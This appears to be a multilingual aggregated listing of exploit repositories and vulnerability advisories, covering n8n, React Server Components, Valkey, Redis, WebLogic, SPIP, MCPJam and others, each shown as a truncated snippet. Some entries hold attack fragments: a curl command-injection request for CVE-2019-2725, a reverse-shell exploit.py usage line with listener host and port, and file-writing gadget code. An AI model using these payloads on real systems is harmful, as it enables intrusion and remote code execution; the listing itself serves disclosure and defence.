CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n HTTPリクエストノード ページネーション プロトタイプ汚染 → RCE 認証された n8n 1.123.43 のワークフロー作成者が、HTTPリクエストノードのページネーション設定を通じて n8n サーバー プロセスのObject.prototypeを汚染し、 n8nがタスクランナーを起動する方法を悪用してリモートコード実行 にエスカレーションします。 汚染されたNODEOPTIONSが子nodeプロセスに漏れ出し、コードノードのサンドボックスをバイパスします。...

React2Shell_CVE-2025-55182

Exploit modular CVE-2025-55182 con bypass de WAF Un script de Python que proporciona un shell interactivo para explotar la vulnerabilidad crítica de RCE CVE-2025-55182 en aplicaciones vulnerables de React Server Components y Next.js. Este exploit apunta a la falla de deserialización que permite l...

CVE-2024-10470

CVE-2024-10470 WPLMS Learning Management System for WordPress = 4.962 – 認証なしの任意ファイル読み取り・削除 説明 WordPress用のWPLMS Learning Management System（WordPress...

ROOT-OS-DEBIAN-13-CVE-2026-55973 CVE-2026-55973 in unbound - Patched by Root

Root has patched CVE-2026-55973 in the unbound package for Root:Debian:13. Multiple fixed versions available...

389-ds-base: 389-ds-base: heap buffer overflow via SASL wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

389-ds-base: 389-ds-base: heap buffer overflow via SASL wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Webを壊した逆シリアル化のバグ ⚡ React2Shell、CVE-2025-55182、RCEの脆弱性：React Server Componentsにおける安全でない逆シリアル化の欠陥を詳細に解説。これにより、デフォルトのReact/Next.js構成で認証不要のリモートコード実行が可能になります。 ⏩ TL;DR React2Shell CVE-2025-55182 は、React 19.xおよびNext.jsなどのフレームワークのReact Server Components RSC に影響を与える重大なリモートコード実行...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom -file PoC.pk3 正常に動作すれば、自分自身へのリバースシェルが取得できるはずです。 このPoCはLinux専用です。最初の試行で動作しないかもしれません。動作するまで繰り返し試してください。 解説 注記： これは私にとって初めてのエクスプロイトの writeup であり、低レベルの writeup を書くスキルはまだ向上中です。また、デ...

Important: Red Hat Security Advisory: valkey security, bug fix, and enhancement update

An update for valkey is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from th...

valkey: Valkey: Remote code execution via TLS pending-data processing use-after-free

A flaw was found in Valkey. An authenticated client can trigger a CLIENT KILL command while the tlsProcessPendingData function iterates a pending list. This action causes connTLSClose to delete the iterator's cached next node, leading to a use-after-free vulnerability. This flaw, when Transport...

valkey: Valkey: Remote code execution via use-after-free in stream deserialization

A flaw was found in Valkey, a distributed key-value database. A remote attacker could exploit a use-after-free vulnerability in the RESTORE command. This occurs when a malformed data stream is processed during stream deserialization, causing a shared resource to be improperly managed. If...

redis: Redis: Remote Code Execution via specially crafted RESTORE payload

A flaw was found in Redis. An authenticated attacker, in an unusual configuration where they can execute the RESTORE command, could exploit a double free vulnerability. This occurs when a specially crafted RESTORE payload references the same NACK pending entry by multiple consumers, and both...

httpd: Apache HTTP Server: Arbitrary code execution or denial of service via use-after-free in mod_ldap per-directory configuration

A flaw was found in Apache HTTP Server when using the modldap module in a per-directory configuration. This use-after-free vulnerability allows a remote attacker to potentially execute arbitrary code or cause a denial of service DoS due to improper memory handling. This could lead to system...

Low: Red Hat Security Advisory: httpd:2.4 security update

An update for the httpd:2.4 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

Exploit-CVE-2019-2725

エクスプロイト-CVE-2019-2725 CVE-2019-2725 のシンプルなエクスプロイト。 サンプルコード: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

VTIGER-CRM-RCE-CVE-2026-23698

此存储库没有 README。...

CVE-2026-27475

CVE-2026-27475（CVSS-B 9.2 严重） SPIP 4.4.8 中经过身份验证的不安全反序列化漏洞 更多解释请访问我的网站 RCE Gadget Attacker plugins/rcegadget/rcegadgetoptions.php root@kitploit: DEBUG:\n"; echo "File: "; vardump$this-file; echo "Data: "; vardump$this-data; echo ""; fileputcontents$this-file, $this-data; die"PROOF"; 2. 以管理员身份登录 3...

CVE-2026-23744

CVE-2026-23744 描述 MCPJam inspector 是一个面向 MCP 服务器的本地优先开发平台。版本 =1.4.2 存在远程代码执行漏洞，攻击者可发送特制的 HTTP 请求触发 MCP 服务器的安装，从而导致 RCE。有关漏洞详情，请参阅参考资料。 用法 需求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT 选项 root@kitploit...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 概念実証 POC作成者: CRFSlick、発見者: AkkuS CutePHP CuteNews 2.1.2 に問題が発見されました。攻撃者はプロフィール領域のアバターアップロード処理を介して、avatarfile フィールドを使って index.php?mod=main&opt=personal にアクセスし、サーバーに侵入できます。/core/modules/dashboard.php 内の $imgsize...

CVE-2024-3400-POC

CVE-2024-3400 RCE テストスクリプト 概要 このPythonスクリプトは、特定のPalo Alto Networks GlobalProtectポータルに影響を与えるリモートコード実行（RCE）脆弱性、具体的にはCVE-2024-3400をテストするために設計されています。この脆弱性により、Cookie操作を介して不正なコマンド実行が可能になります。 このスクリプトは、base64エンコードされたコマンド（echo test）を含むCookieペイロードを添えて、指定されたURLのリストに安全なHTTP...